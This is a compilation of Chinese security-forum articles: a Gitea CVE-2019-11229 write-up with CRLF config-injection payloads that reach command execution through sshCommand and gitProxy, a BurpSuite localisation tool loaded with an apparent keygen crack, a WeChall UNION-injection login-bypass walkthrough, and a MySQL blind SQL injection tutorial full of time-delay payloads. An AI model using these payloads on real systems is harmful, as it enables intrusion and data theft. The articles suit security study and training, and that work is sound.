https://www.jianshu.com/p/2bfde2ba8a99
http://www.freebuf.com/sectool/95426.html
http://www.freebuf.com/articles/wireless/106298.html
http://www.freebuf.com/news/88281.html
http://www.freebuf.com/articles/wireless/106298.html
https://blog.csdn.net/zhuangjitongxue/article/details/49337445
https://pan.baidu.com/s/1o6AbAqu
https://www.cnblogs.com/aikm/p/5021220. html
https://wenku.baidu.com/view/fb7271af941ea76e58fa04e7.html | 社区文章 |
**Author: LoRexxar'@Knownsec 404 Team**
**Date: July 23, 2019**
**Chinese Version:<https://paper.seebug.org/989/>**
On April 15, 2019, gitea was once exposed a vulnerability. It happened that I
was curious about this vulnerability so I started to study it. The description
of the vulnerability is as follows:
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3
mishandles mirror repo URL settings, leading to remote code execution.
Studying with my friend @hammer, I successfully controlled the contents of git
config, but I encountered difficulties in the process from git config to RCE,
so I temporarily put it on hold. After a few months, I accidentally got the
inspiration of @lz1y and @x1nguang, and I successfully reproduced this
vulnerability. Now let's study this problem carefully.
# Patch Analysis
First of all, according to the information of CVE, it's confirmed that the
vulnerability is fixed in 1.7.6 and 1.8.0-rc3.
* <https://github.com/go-gitea/gitea/releases/tag/v1.7.6>
* <https://github.com/go-gitea/gitea/releases/tag/v1.8.0-rc3>
According to the information that the vulnerability file is `repo_mirror.go`,
we can determine the updated commit, which are mainly #6593 and #6595.
* <https://github.com/go-gitea/gitea/pull/6595/commits/52af826a7aa1df6ab538d881db236698cb367cd7>
According to the patch, you can roughly determine the key points of the
problem.
`/models/repo_mirror.go`
When the repository is a mirror repository, the settings page displays the
configuration for the mirror.
if !repo.IsMirror {
ctx.NotFound("", nil)
return
}
In the patch, the url option in the original modification configuration file
is changed to NewCommand. It is easy to understand that the reason why change
writing file to executing command must be because writing file is unable to
fix this problem, which means that the url here can be wrapped by passing in
`%0d%0a` and to cause other configuration changes in config.
# Control the Gitconfig
Based on the previous logic, we firstly need to create a new mirror
repository.
Capture the packet and modify `mirror_address` to the corresponding attribute.
mirror_address=https%3A%2F%2Ftest%3A%40github.com%2FLoRexxar%2Ftest_for_gitea.git"""%0d%0a[core]%0d%0atest=/tmp%0d%0aa="""
You can pass in various configurations and control the contents of the config
file.
More interestingly, if you update the sync settings, the server will also
format the configuration.
# Further Exploitation
However, what's more important is how to make further exploitation
controllable from config file.
Firstly, the git server only keeps the contents of `.git`, not a complete git
repository similar to our client, so it is difficult to introduce external
files. Otherwise, RCE can be implemented by setting the hook directory. The
key point of this idea is to find a controllable file write or file upload.
Secondly, another way is to look for a configuration that can execute commands
and look for a remote configuration that can trigger related configurations.
* <https://git-scm.com/docs/git-config>
# Match the Githook Path RCE via Writing Files
In git, there is a git Hook, which is used to execute the corresponding script
when handling some operations.
In the web interface, git hooks are only managed by gitea administrators, so
for the average user, you cannot modify the script directly by editing git
hooks.
However, you can modify the directory where hooks are stored by controlling
git config.
When we construct and send as follows:
mirror_address=https%3A%2F%2Fgithub.com%2FLoRexxar%2Ftest_for_gitea.git"""%0d%0a[core]%0d%0ahooksPath=/tmp%0d%0aa="""
The config file of the server becomes:
In this way, as long as we can write or create files anywhere on the server,
we can set the hookspath there and trigger git hook to execute the command.
After careful study, we found that if the server files were edited below the
version 1.7.5 where existed the vulnerability, the server files would be saved
and generated in the running directory of gitea.
/data/tmp/local-repo/{repo_id}
This file will not be cleared without restarting gitea, and this `repo_id` can
be mined from other APIs.
For more detailed exploitation chain, you can refer to:
* <https://www.jianshu.com/p/684fa071026a>
It is important to note that this approach requires knowing where the server
is running, although we can assume that the "go" paths are similar and some
people will choose to execute in the current compiled directory, it's still
not quite reliable.
# Implement RCE by Controlling Git Config
With the help of @x1nGuang, I reviewed some of the configurations associated
with git config.
## gitProxy
gitProxy is a command that needs to be executed when the git protocol requires
fetch or other operations. It is a configuration option for dealing with
special scenarios. It is generally applied to scenarios where a proxy
application is required when git requests.
Here we set the server as follows.
[core]
gitproxy = calc.exe
It is important to note that the synchronized url must start with git.
However, the problem is that because gitProxy in git design is to execute a
proxy application, whatever is input will be executed as an application, and
there is no way to take parameters.
In such case, it has been greatly restrained in the actual exploitation
scenario. Here you can try to upload a bin by means of the upload file
function in the normal project, then grab the package to get the file path,
and finally execute the backdoor through gitProxy.
Again, this approach is still restrained to gitea's running directory, but
compared to the previous exploits, the version 1.8.0 can also use this
approach to implement RCE.
## sshCommand
Another configuration in git's documentation is sshCommand.
This is a system that allows git fetch/git push to connect to the remote end
via ssh with special configuration in git, which has been mentioned in the
blog of @Lz1y as well.
* <https://www.lz1y.cn/2019/07/20/CVE-2019-11229-Gitea-RCE/>
We set sshCommand to be the specified command.
mirror_address=https%3A%2F%2Ftest%3A%40github.com%2FLoRexxar%2Ftest_for_gitea.git"""%0d%0a[core]%0d%0asshCommand=calc.exe%0d%0aa="""
Then set the protocol to save for ssh and click Sync.
Unlike gitProxy, here can be followed by parameters.
&mirror_address=https%3A%2F%2Ftest%3A%40github.com%2FLoRexxar%2Ftest_for_gitea.git"""%0d%0a[core]%0d%0asshCommand="touch 2333"%0d%0aa="""
# Conclusion
This is a very special example of the vulnerability in the platform like git.
Due to the difficulties I encountered in researching the exploits of git
config, it has taken a long time to write this paper. The whole vulnerability
exploit chain and git feature have strong dependencies, which is kind of an
interesting experience. I hope to explore an interesting vulnerability when I
take a closer look at the code of the gitea, gogs, and gitlab.
# About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
# BurpSuite 1.6~2.x版本汉化版工具
## 0x0 介绍
Burp Suite 是用于攻击web 应用程序的集成平台，包含了许多工具。Burp
Suite为这些工具设计了许多接口，以加快攻击应用程序的过程。所有工具都共享一个请求，并能处理对应的HTTP
消息、持久性、认证、代理、日志、警报。为什么要汉化？做为一个半路出家英语不好的人时常不认识某些单词而烦恼，当然这里只是针对自己做评价，大佬众多，如果英语非常流利可以跳过此工具，
## 0x1 使用方法
早期我司大牛就已经提出来，javaagent技术，该技术应用很广这里是是小试牛刀，JavaAgent 是运行在 main方法之前的拦截器，它内定的方法名叫
premain ，也就是说先执行 premain 方法然后再执行 main 方法。用处都明白了吧。具体代码可以反编译jar包。
这里只是用提前翻译好的文本替换了burp内的字节码内容。按道理所有burp都能使用本工具，但是我只测试1.6.X～2.X的版本防止有部分人爱钻牛角尖，所以你懂得。欢迎各路大佬测试是否有后门。
### Linux Mac 下加载 burp-loader-keygen.jar
java -javaagent:BurpSuiteCn.jar -Xbootclasspath/p:burp-loader-keygen.jar -Xmx1024m -jar burpsuite_pro_v1.x.x.jar
### Windwos 下加载 burp-loader-keygen.jar
> 需要指定编码否则会乱码！！！
java -Dfile.encoding=utf-8 -javaagent:BurpSuiteCn.jar -Xbootclasspath/p:burp-loader-keygen.jar -Xmx1024m -jar burpsuite_pro_v1.x.x.jar
### 自定义翻译规则
> 包内自带翻译包。
> 在同目录下新建cn.txt写入一下内容如：
> 注意一下 \t 是分割符， 左边是需要匹配的 右边是替换的 支持正则表达式。
Proxy \t 代理
The analysis is based on a sample of ([0-9]+) tokens?. Based on the sample size, the reliability of the results is: (.*) 分析$1基于令牌样本。 根据样本量，可靠性如下： $2
### 下载
> MD5 (BurpSuiteCn.jar) = df282917e650c4c2cd1f49e262e6f30f
>
>
> 链接:https://pan.baidu.com/s/1-25OIjPRpt_vPgBDwVCqUQ 密码:e6tn
## 0x2 效果截图
### burpsuite_pro_v2.X
### burpsuite_pro_v1.7.X
### burpsuite_pro_v1.6.X
## 0x3 结束
各位大佬关注一波，后期推出更多福利。 | 社区文章 |
来自i春秋作者：[万年死宅](http://bbs.ichunqiu.com/thread-10359-1-1.html?from=paper)
### 目录
root@1~# Training: MySQL II的简单分析 root@2~# MySQL高级注射技巧load_file()来读文件 root@3~#
MySQL高级注射技巧into otfile来getshell
### root@1~# Training: MySQL II的简单分析
OK，昨天的Training:MySQL
I给大家的启发很大吧。总之，对我启发很大，因为，我就是从这道题开始才真正的算是开始了解MySQL注射的（之前就是背注射语句，然后套。。。）
好了，我们不废话，直接来看这道题：
[小宅的传送门](http://www.wechall.net/challenge/training/mysql/auth_bypass2/index.php)
OK,大家可以先尝试解一下，然后在回来继续看这份教程，首先，我们还是先来看高亮的代码：
[小宅的传送门](http://www.wechall.net/challenge/training/mysql/auth_bypass2/index.php?highlight=christmas)
我们定位到HTML的Form表单（68～83行）：
我们注意表单的method为POST，要传送的参数是username和password,于是定位到接收参数的地方（10～13行）：
我们看到接收了POST参数username和password就调用了auth2_onLogin()函数，我们跟踪到该函数的定义处（36～66行）：
我们来看函数的流程，可以发现于昨天的No.6paper极其相似，但是，有一处不同，就是认证不同了，我们来观察一下。首先是用于我们可控的SQL语句不同了（42行）：
本次的SQL语句成了这样，接着，我们来看44～47行，这是和上道题一样的判断，只是SQL语句变了，但是还是一个道理：
if (false === ($result = $db->queryFirst($query)))
可以看到，还是调用result，然后以这个整体（也就是这次查询的返回值）与false进行比较。当为false时自然就是说查询语句失败，例如，传入“xxx”，SQL语句则是：
SELECT * FROM users WHERE username='xxx';
若查询失败，则证明不存在xxx这条记录，若查询成功则证明存在xxx这条记录。这次的查询语句还有不同的是select的是*，所以，我们来看下users表的表结构（2～8行）：
可以看到这个users表里有三个字段，分别是：“userid,username,password”。因为我们select的是*所以$result里就同时存在这三个与username同行的userid和password。
接着，我们来看重头戏，新的认证检测步骤（50～56行）：
我们来看这个新增的步骤：
if ($result['password'] !== $password)
这个if语句的条件是查询结果里的与我们赋值的username同行的password是否与我们传入的password相同，如果不相同则执行if里的内容。
看起来简直天衣无缝，这样的验证从逻辑上来讲几乎没有问题了，所以，我们的突破口，绝不会在PHP代码上。
于是，我们就发现这次的SQL语句也是存在注射漏洞的，因为我们来看这个代码片段：
从图中可以看到，从SQL语句的生成到查询之间并未进行任何过滤，所以存在SQL注射。所以问题就出在我们可控的SQL语句上，我就提示到这里，大家先自己动动脑筋，想想怎么绕过认证。
我们得清楚，首先，我们不知道正确的username和password，而且不是以SQL的返回值来认证的，那怎么办？
这个，其实解决方案，我在No.5paper里讲过，就不知道大家有没印象了。
好了，大家想完之后呢，就来看正确的解题思路吧。 首先，既然我们不知道正确的用户名和密码，那我们就构造啊，什么意思呢？
大家记不记得UNION的神奇功效，假设我们如下SQL语句：
SELECT A FROM B WHERE C='$aaa'
假设在B表里有C等于111,但是我们不知道，那么如果我们构造如下$aaa的值会发生什么？
xxx' UNION SELECT 1#
这样一拼接就成了：
SELECT A FROM B WHERE C='xxx' UNION SELECT 1#'
所以A就成了1,对吧，嘿嘿，其实就是这么简单，只是由于我们对SQL的理解还不够深，才导致我们一时半会没想出解法。 于是我们在还去看题里的SQL语句：
SELECT * FROM users WHERE username='$username';
所以我们构造：
xxx' UNION SELECT 1,'test','123456'#
就拼接成了：
SELECT * FROM users WHERE username='xxx' UNION SELECT 1,'test','123456'#';
由于xxx这个username本就不存在，所以查询结果自然的变成了UNION的，于是userid变为1,username变为test，而password变为123456。
所以，我们username填"xxx' UNION SELECT
1,'test','123456'#",password填123456就OK了吗？我们试试就知道了，如下图：
我们点Login听天由命吧，哈哈：
密码错误！知道为什么吗？恩？嘿嘿，大家细想一个细节，在PHP程序中处理我们传入password的细节（在40行，哈哈）：
知道问题出在哪里了吗？哈哈，对的，我们UNION的password一定要是输入的password的MD5值，当然，也可以是我们输入的password是UNION的password的MD5值。
我们来试试看（123456的MD5值是：e10adc3949ba59abbe56e057f20f883e）。把username填成："xxx' UNION
SELECT 1,'test','e10adc3949ba59abbe56e057f20f883e'#"，把password填成123456，我们来看：
结果是：
成功！Bypass了新的认证方式！但是，这道题并没解出来，我们来看原题的题意：
要以admin的身份登录，而不是test，所以，我们得稍稍的改一下payload：
xxx' UNION SELECT 1,'admin','e10adc3949ba59abbe56e057f20f883e'#
我们再来看：
来，和我一起欢呼！yeah！（O了，别**了，我们还有事呢。）
root@2~# MySQL高级注射技巧load_file()来读文件
...
有关该文章更多内容可到 http://bbs.ichunqiu.com/thread-10359-1-1.html?from=paper 查看
* * * | 社区文章 |
# 一篇文章带你深入理解 SQL 盲注
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0X00 前言
简单的整理一下关于 SQL 盲注的一些想法(主要是针对 MYSQL,当然其中也不免夹杂着一些 SQL Server
和Oracle的知识)，希望能有更清晰的思路和不一样的思考。
## 0X01 盲注的一般模式
盲注的本质是猜解(所谓 “盲” 就是在你看不到返回数据的情况下能通过 “感觉” 来判断)，那能感觉到什么？答案是 **：差异** （包括
**运行时间的差异** 和 **页面返回结果的差异** ）。也就是说我们想实现的是我们要构造一条语句来测试我们输入的 **布尔表达式**
，使得布尔表达式结果的真假直接影响整条语句的执行结果，从而使得系统有不同的反应，在时间盲注中是不同的返回的时间，在布尔盲注中则是不同的页面反应。
**如图所示：**
**我们可以把我们输入布尔表达式的点，称之为整条语句的开关，起到整条语句结果的分流作用，而此时
我们就可以把这种能根据其中输入真假返回不同结果的函数叫做开关函数，或者叫做分流函数**
说到这里其实首先想到的应该就是使用 if 这种明显的条件语句来分流，但是有时候 if
也不一定能用，那不能用我们还是想分流怎么办，实际上方法很多，我们还能利用 and 或者 or 的这种短路特性实现这种需求，示例如下：
### **1.and 0 的短路特性**
mysql> select * from bsqli where id = 1 and 1 and sleep(1);
Empty set (1.00 sec)
mysql> select * from bsqli where id = 1 and 0 and sleep(1);
Empty set (0.00 sec)
这个怎么看，实际上 一个 and 连接的是两个集合，and 表示取集合的交集，我么知道0 和任何集合的交集都是 0 ，那么系统就不会继续向下执行
sleep()，那么为什么第一条语句没有返回任何东西呢？因为 id =1 的结果和 sleep(1) 的交集为空集
### **2.or 1 的短路特性**
mysql> select * from bsqli where id = 1 or 1 or sleep(1);
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
| 2 | L_Team | 234567 |
+----+--------+----------+
2 rows in set (0.00 sec)
mysql> select * from bsqli where id = 1 or 0 or sleep(1);
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (1.00 sec)
和上面类似 or 取得是两个集合的并集，系统检测到 or 1 的时候就不会继续检测，所以 sleep() 也就不会运行。
那么这里我们可以将 sleep() 换成我们下面准备讲的 Heavy Query ，如下
id = 1' and 1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C)%23
id = 1' and 0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C)%23
除了上面两个我们还能用 **case when then else end** 这个句型，这个和 **if**
是类似的我这里就不多介绍，我这里还想说一个我另外发现的比较有趣的一个函数( **准确的说是两个函数** )
### **3.elt() 的分流特性**
ELT(N ,str1 ,str2 ,str3 ,…)
函数使用说明：若 N = 1 ，则返回值为 str1 ，若 N = 2 ，则返回值为 str2 ，以此类推。 若 N 小于 1 或大于参数的数目，则返回值为
NULL 。 ELT() 是 FIELD() 的补数
mysql> select * from bsqli where id = 1 and elt((1>1)+1,1=1,sleep(1));
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (0.00 sec)
mysql> select * from bsqli where id = 1 and elt((1=1)+1,1=1,sleep(1));
Empty set (1.00 sec)
后来我发现这个确实是有[案例](https://www.exploit-db.com/exploits/42033)的，但是和我这个用法没哈关系，可能只是我见识比较短浅，这是当时的payload：
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
### **4.field() 的分流特性**
FIELD(str, str1, str2, str3, ……)
该函数返回的是 str 在面这些字符串的位置的索引，如果找不到返回 0 ，但我发现这个函数同样可以作为开关来使用，如下：
mysql> select * from bsqli where id = 1 and field(1>1,sleep(1));
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (2.00 sec)
mysql> select * from bsqli where id = 1 and field(1=1,sleep(1));
Empty set (1.00 sec)
>
> 但是这其实给了我们一种新的思路：有时候时间延迟的长短可以作为我们判断的依据，并不一定是有延迟和没延迟(当然这只是我原来没注意，不代表看这篇文章的师傅们不知道
> orz)
另外就是如果有些函数返回的是 NULL 并不代表这个函数不能作为开关函数或者分流函数使用，因为我们还有一个函数叫做 isnull() ，可以将 null
转化成真或者假。
当然方法肯定不止这两个，这里仅仅是讲解原理的简单举例。
## 0X02 基于时间的盲注
基于时间的盲注的一般思路是延迟注入，说白了就是将判断条件结合延迟函数注入进入，然后根据语句执行时间的长短来确定判断语句返回的 TRUE 还是
FALSE，从而去猜解一些未知的字段(整个猜解过程其实就是一种 fuzz)。
### **1\. MYSQL 的 sleep 和 benchmark**
**我们常用的方法就是 sleep() 和 benchmark(),如下图所示**
上面两个语句适用来判断是否存在 sql 注入的( **注意 sleep
是存在一个满足条件的行就会延迟指定的时间，比如sleep(5)，但是实际上查找到两个满足条件的行，那么就会延迟10s,这其实是一个非常重要的信息，在真实的渗透测试过程中，我们有时候不清楚整个表的情况的话，可以用这样的方式进行刺探，比如设置成
sleep(0.001) 看最后多少秒有结果，推断表的行数** )
我们还能在条件语句中结合延时函数达到猜解字段的目的
#### **补充 SQL Server的方法：**
判断是否存在注入：
判断数据库用户是否为 sa:
> 注：这里闭合前面语句其实也可以将其划分到堆叠注入的类别里。
但是当我们没有办法使用 **sleep(50000)—- >睡眠** 和 **benchmark(10000000,md5(‘a’))—->测试函数执行速度** 的时候我们还能用下面的方式来实现我们的目的。
### **2.Heavy Query 笛卡尔积**
这种方式我把它称之为 Heavy Query 中的 **“笛卡尔积”**
，具体的方式就是将简单的表查询不断的叠加，使之以指数倍运算量的速度增长，不断增加系统执行 sql 语句的负荷，直到产生攻击者想要的时间延迟，这就非常的类似于
dos 这个系统，我们可以简单的将这种模式用下面的示意图表示。
由于每个数据库的数据量差异较大，并且有着自己独特的表与字段，所以为了使用这种方式发起攻击，我们不能依赖于不同数据库的特性而是要依赖于数据库的共性，也就是利用系统自带的表和字段来完成攻击，下面是一个能够在
SQL SERVER 和 MYSQL 中成功执行的模板：
SELECT count(*) FROM information_schema.columns A,information_schema.columns B,information_schema.columns C;
根据数据库查询的特点，这句话的意思就是将 A B C 三个表进行笛卡尔积（全排列），并输出 最终的行数，执行效果如下：
我们来单独执行一次对这个 columns 表的查询，然后对这个结果进行 3 次方运算，如下：
可以看到，和我们的分析是一样的，但是从时间来看，这种时间差是运算量指数级增加的结果。
那么假如，我们可以构造这样的一条语句
如果系统返回结果的时间明显与之前有差异，那么最有可能的情况就是我们注入的语句成功在系统内执行，也就是说存在注入漏洞。
除此之外，我们还可以构造我们想要的判断语句，结合我们的 笛卡尔积 实现字段的猜解（ **当然也不能太 Heavy 了，适可而止，否则可能要注到天荒地老**
）
### **3.Get_lock() 加锁机制**
在单数据库的环境下，如果想防止多个线程操作同一个表（多个线程可能分布在不同的机器上），可以使用这种方式，取表名为key，操作前进行加锁，操作结束之后进行释放，这样在多个线程的时候，即保证了单个表的串行操作，又保证了多个不同表的并行操作。
这种方式注入的思路来源于 pwnhub的一道新题”全宇宙最最简单的PHP博客系统” ，先来看一下 get_lock() 是什么
* **GET_LOCK(key,timeout)**
**基本语句：**
SELECT GET_LOCK(key, timeout) FROM DUAL;
SELECT RELEASE_LOCK(key) FROM DUAL;
> **注：**
>
> 1.这里的 dual 是一个伪表，在 MySQL 中可以直接使用 select 1；这种查询语句，但是在 oracle 中却必须要满足 select
> 语句的结构，于是就有了这个相当于占位符的伪表，当然在 MYSQL 中也是可以使用的
> 2.key 这个参数表示的是字段
(1)GET_LOCK有两个参数，一个是key,表示要加锁的字段，另一个是加锁失败后的等待时间(s)，一个客户端对某个字段加锁以后另一个客户端再想对这个字段加锁就会失败，然后就会等待设定好的时间
(2)当调用 RELEASE_LOCK来释放上面加的锁或客户端断线了，上面的锁才会释放，其它的客户端才能进来。
**我们来简单的实验一下**
现在我有这样一个表
mysql> desc admin;
+----------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+-------+
| username | varchar(100) | NO | | NULL | |
| flag | varchar(100) | NO | | NULL | |
+----------+--------------+------+-----+---------+-------+
2 rows in set (0.38 sec)
我首先对 username 字段进行加锁
然后我再尝试打开另一个终端，对同样的字段进行加锁尝试
可以看到语句没有执行成功返回 0 ，并且由于该字段已经被加锁的原因，这次的执行时间是自定义的 5s 。
现在我们给这个字段解锁：
再次尝试另一个终端的加锁
可以看到没有任何的延时，并且返回 1 表示加锁成功
好了，有了上面的基础，我们是否能根据我上面对时间盲注原理的简单分析来举一反三实现利用 get_lock() 这种延时方式构造时间盲注语句呢？
**(1)我们首先通过注入实现对 username 字段的加锁**
select * from ctf where flag = 1 and get_lock('username',1);
**(2)然后构造我们的盲注语句**
select * from ctf where flag = 1 and 1 and get_lock('username',5);
select * from ctf where flag = 1 and 0 and get_lock('username',5);
#### **分析到这里似乎已经结束了，但是其实这个 get_lock 的使用并不是没有限制条件**
限制条件就是数据库的连接必须是 **持久连接** ，我们知道 mysql_connect() 连接数据库后开始查询，然后调用 mysql_close()
关闭与数据库的连接，也就是 web
服务器与数据库服务器连接的生命周期就是整个脚本运行的生命周期，脚本结束连接即断开，但是很明显这里我们要利用的是前一个连接对后一个连接的阻碍作用导致延时，所以这里的连接必须是持久的。
**php 手册中对持久连接这样描述**
php 中使用 mysql_pconnect 来创建一个持久的连接，当时这道题使用的也是这个函数来创建的数据库连接
**那么什么时候会出现需要我们使用持久连接的情况呢？**
**php 手册这样解释道**
现在分析正式结束了.
### **4.Heavy Query 正则表达式**
这种方式与我第一个讲的 **Heavy Query 笛卡尔积**
略有不同，这里是使用大量的正则匹配来达到拖慢系统实现时延的，我认为本质是相同的，所以我还是将其归纳为 Heavy Query 中的一类。
mysql 中的正则有三种常用的方式 like 、rlike 和 regexp ，其中 Like 是精确匹配，而 rlike 和 regexp
是模糊匹配(只要正则能满足匹配字符串的子字符串就OK了)
**当然他们所使用的通配符略有差异：**
(1)like 常用通配符：% 、_ 、escape
% : 匹配0个或任意多个字符
_ : 匹配任意一个字符
escape ： 转义字符，可匹配%和_。如SELECT * FROM table_name WHERE column_name LIKE '/%/_%_' ESCAPE'/'
(2)rlike和regexp:常用通配符：. 、* 、 [] 、 ^ 、 $ 、{n}
. : 匹配任意单个字符
* ： 匹配0个或多个前一个得到的字符
[] : 匹配任意一个[]内的字符，[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。
^ : 匹配开头，如^s匹配以s或者S开头的字符串。
$ : 匹配结尾，如s$匹配以s结尾的字符串。
{n} : 匹配前一个字符反复n次。
**我们可以这样构造：**
mysql> select * from test where id =1 and IF(1,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
Empty set (4.24 sec)
mysql> select * from content where id =1 and IF(0,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
Empty set (0.00 sec)
上面这两个语句的构造来源于 一叶飘零 师傅的博客，但是我觉得这里面有一点点问题，我发现，我在本地测试的效果并没有
一叶飘零师傅测试的那么好，延迟效果不是很明显，只有 0.29s 并且还以为 MySQL 的某种缓存机制导致我下一次执行该命令的时候直接就是 0.00s
了，当然 rlike 如果成功的话 regexp 只要简单的替换一下就 ok 了,like 的话也依次类推 。
我后来又使用了 mysql8 进行尝试(原来我的版本是 mysql 5.5.53) ，发现了下面的情况
mysql> select * from test where id =1 and IF(1,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
ERROR 3699 (HY000): Timeout exceeded in regular expression match.
mysql> select * from test where id =1 and IF(0,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
Empty set (0.00 sec)
在 mysql8 下也同样没有延迟，并且直接提示超时，所以我认为这个方法并不通用，与 MySQL 的版本有着比较紧密的联系。
### **5.该种技术的优缺点**
这种技术的一个主要优点是对日志几乎没有影响，特别是与基于错误的攻击相比。但是，在必须使用大量查询或
CPU密集型函数（如MySQL的BENCHMARK())的情况下，系统管理员可能会意识到正在发生的事情。
另一件需要考虑的事情是你注入的延迟时间。在测试Web应用程序时，这一点尤其重要。因为该服务器负载和网络速度可能对响应时间产生巨大的影响。你需要暂停查询足够长的时间，以确保这些不确定因素不会干扰你的测试结果。另一方面，你又会希望延迟足够短以在合理的时间内测试应用程序，所以把握这个时间长短的度是很困难的。
### **6.一点点补充**
由于平时用的不多，想在这里稍微记录一下关于 insert 和 update 的盲注示例
update users set username = '0'|if((substr(user(),1,1) regexp 0x5e5b6d2d7a5d), sleep(5), 1) where id=15;
insert into users values (16,'K0rz3n','0'| if((substr(user(),1,1) regexp 0x5e5b6d2d7a5d), sleep(5), 1));
## 0X03 基于布尔的盲注
### **1.使用条件**
基于布尔的盲注是在这样的一种情况下使用：页面虽然不能返回查询的结果，但是对于输入 布尔值 0 和 1
的反应是不同的，那我们就可以利用这个输入布尔值的注入点来注入我们的条件语句，从而能根据页面的返回情况推测出我们输入的语句是否正确(
**输入语句的真假直接影响整条查询语句最后查询的结果的真假** )
> **注意：**
>
>
> 另外，虽然我们构造语句的目的是让整条语句在某种情况下最后查不到结果，但是这其中其实隐含了两种情况，一种就是真的没有查到结果，使得页面的返回有所不同，但是还有一种可能就是我们构造语句让其报错，这样同样让页面的返回有所不同，但是我个人往往不愿意将这种报错的模式再另外划分出一个什么报错盲注，这里我就统一将其划分到布尔盲注中了，因为本质是一样的，所以这一部分还会设计一些报错注入的东西。
### **2.简单举例**
这里可以举一个 SQL SERVR 的例子来说明这种攻击的原理：
我们注入的语句会验证当前用户是否是系统管理员（sa）。如果条件为true，则语句 强制数据库通过执行除零来抛出错误。否则则执行一条有效指令。
**mysql 的语句构造方式也很简单**
mysql> select 123 from dual where 1=1;
+-----+
| 123 |
+-----+
| 123 |
+-----+
1 row in set (0.00 sec)
mysql> select 123 from dual where 1=0;
Empty set (0.00 sec)
再或者我们还能在 order by 后面构造
mysql> select 1 from admin order by if(1,1,(select 1 union select 2)) limit 0,3;
+---+
| 1 |
+---+
| 1 |
| 1 |
+---+
2 rows in set (0.09 sec)
mysql> select 1 from admin order by if(0,1,(select 1 union select 2)) limit 0,3;
ERROR 1242 (21000): Subquery returns more than 1 row
这里产生报错是因为，Union 查询返回的是两行，这两行都可以作为 order by 的依据，然后系统不知道该选哪一个，于是产生了错误。if
